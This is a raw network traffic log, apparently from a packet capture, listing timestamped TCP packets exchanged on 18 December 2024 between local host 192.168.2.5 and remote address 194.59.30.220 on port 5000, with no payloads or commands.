Dec 18, 2024 11:40:33.716218948 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.717044115 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.717119932 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.717164040 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.718164921 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.718286991 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.718374968 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.719433069 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.719579935 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.719628096 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.720314980 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.720401049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.720444918 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.721138954 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.721234083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.721348047 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.722001076 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.722137928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.722182989 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.722958088 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.723105907 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.723193884 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.724035025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.724160910 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.724481106 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.725066900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.725191116 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.725301981 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.725954056 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.726150990 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.726259947 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.727013111 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.727193117 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.727332115 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.728003025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.728147030 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.728254080 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.728954077 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.729047060 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.729110956 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.729974031 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.730212927 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.731055975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.731199026 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.731241941 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.731241941 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.731914997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.732012987 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.732058048 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.732886076 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.733031988 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.733102083 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.734060049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.734072924 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.734245062 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.734970093 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.735088110 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.735146999 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.735897064 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.736028910 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.736874104 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.736921072 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.736972094 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.737030029 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.737914085 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.738091946 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.738272905 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.738877058 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.739084959 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.739207029 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.739869118 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.740008116 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.740139961 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.740917921 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.741012096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.741080046 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.741988897 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.742238998 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.742286921 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.742820978 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.742950916 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.742990017 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.743576050 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.743818998 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.743908882 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.743944883 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.744817972 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.745069027 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.745110989 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.745795965 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.745942116 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.746040106 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.746774912 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.746912956 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.746984005 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.747740984 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.747777939 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.747857094 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.748068094 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.748250961 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.748760939 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.748908997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.749016047 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.749759912 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.749914885 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.750430107 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.750749111 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.750895023 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.750933886 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.751781940 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.751880884 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.751955986 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.752175093 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.752777100 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.752818108 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.752855062 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.753701925 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.753817081 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.753869057 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.754864931 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.754998922 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.755059958 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.755701065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.755834103 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.756095886 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.756273985 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.756721973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.756800890 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.757179022 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.765283108 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.765301943 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.765484095 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.765548944 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.765615940 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.765654087 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.766634941 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.766689062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.767339945 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.767498016 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.767585039 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.767858982 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.900286913 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.900316000 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.900424004 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.900624990 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.900738001 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.900953054 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.901582956 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.901652098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.901799917 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.902595997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.902690887 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.902731895 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.903563023 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.903667927 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.903861046 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.904557943 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.904701948 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.905584097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.905643940 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.905661106 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.906579018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.906735897 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.906774044 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.906774044 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.907557011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.907689095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.907732964 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.908564091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.908693075 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.908869982 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.909517050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.909610987 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.909676075 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.910736084 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.910970926 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.911077023 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.911737919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.911842108 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.911917925 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.912511110 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.912622929 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.912678003 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.913496017 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.913538933 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.913640022 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.914526939 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.914657116 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.914747953 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.915518999 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.915631056 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.915674925 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.916481018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.916598082 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.916758060 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.917499065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.917793989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.917881012 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.918473005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.918601036 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.918715954 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.919476986 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.919588089 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.919701099 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.920547009 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.920636892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.920739889 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.921437979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.921546936 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.921622992 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.922447920 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.922621965 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.922703981 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.923641920 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.923686028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.924006939 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.924428940 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.924546003 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.924585104 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.925602913 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.925721884 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.925844908 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.926419973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.926666021 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.927349091 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.927406073 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.927608967 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.928427935 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.928556919 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.928591013 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.928765059 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.929476976 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.929578066 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.930365086 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.930480003 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.931348085 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.931348085 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.931459904 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.931596994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.931653023 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.932360888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.932507038 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.932596922 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.933551073 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.933634996 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.933697939 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.934331894 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.934472084 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.934504986 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.935303926 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.935451984 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.935493946 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.936337948 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.936477900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.936508894 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.937302113 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.937434912 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.937522888 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.938316107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.938406944 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.938498974 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.939297915 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.939480066 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.939688921 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.940290928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.940418005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.940598011 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.941298962 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.941318989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.941549063 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.942362070 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.942408085 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.942462921 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.943279028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.943397045 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.943464994 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.944339991 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.944411993 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.945261955 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.945368052 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.945404053 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.945405006 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.946255922 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.946360111 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.946629047 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.947241068 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.947354078 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.947407961 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.948266029 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.948390961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.948426962 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.957053900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.957140923 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.957221031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.957530022 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.957609892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.957704067 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.958549976 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.958651066 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.958744049 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.959594011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.003612995 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.091389894 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.091515064 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.091825008 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.091907024 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.091917992 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.092298031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.092952967 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.093086004 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.093616009 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.093849897 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.093943119 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.094135046 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.094788074 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.094917059 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.095330954 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.095854998 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.095911980 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.096275091 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.096781015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.096888065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.096970081 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.097855091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.097893953 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.098038912 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.098889112 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.098937035 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.098994970 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.099754095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.099900961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.099942923 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.100860119 CET	5000	49705	194.59.30.220	192.168.2.5
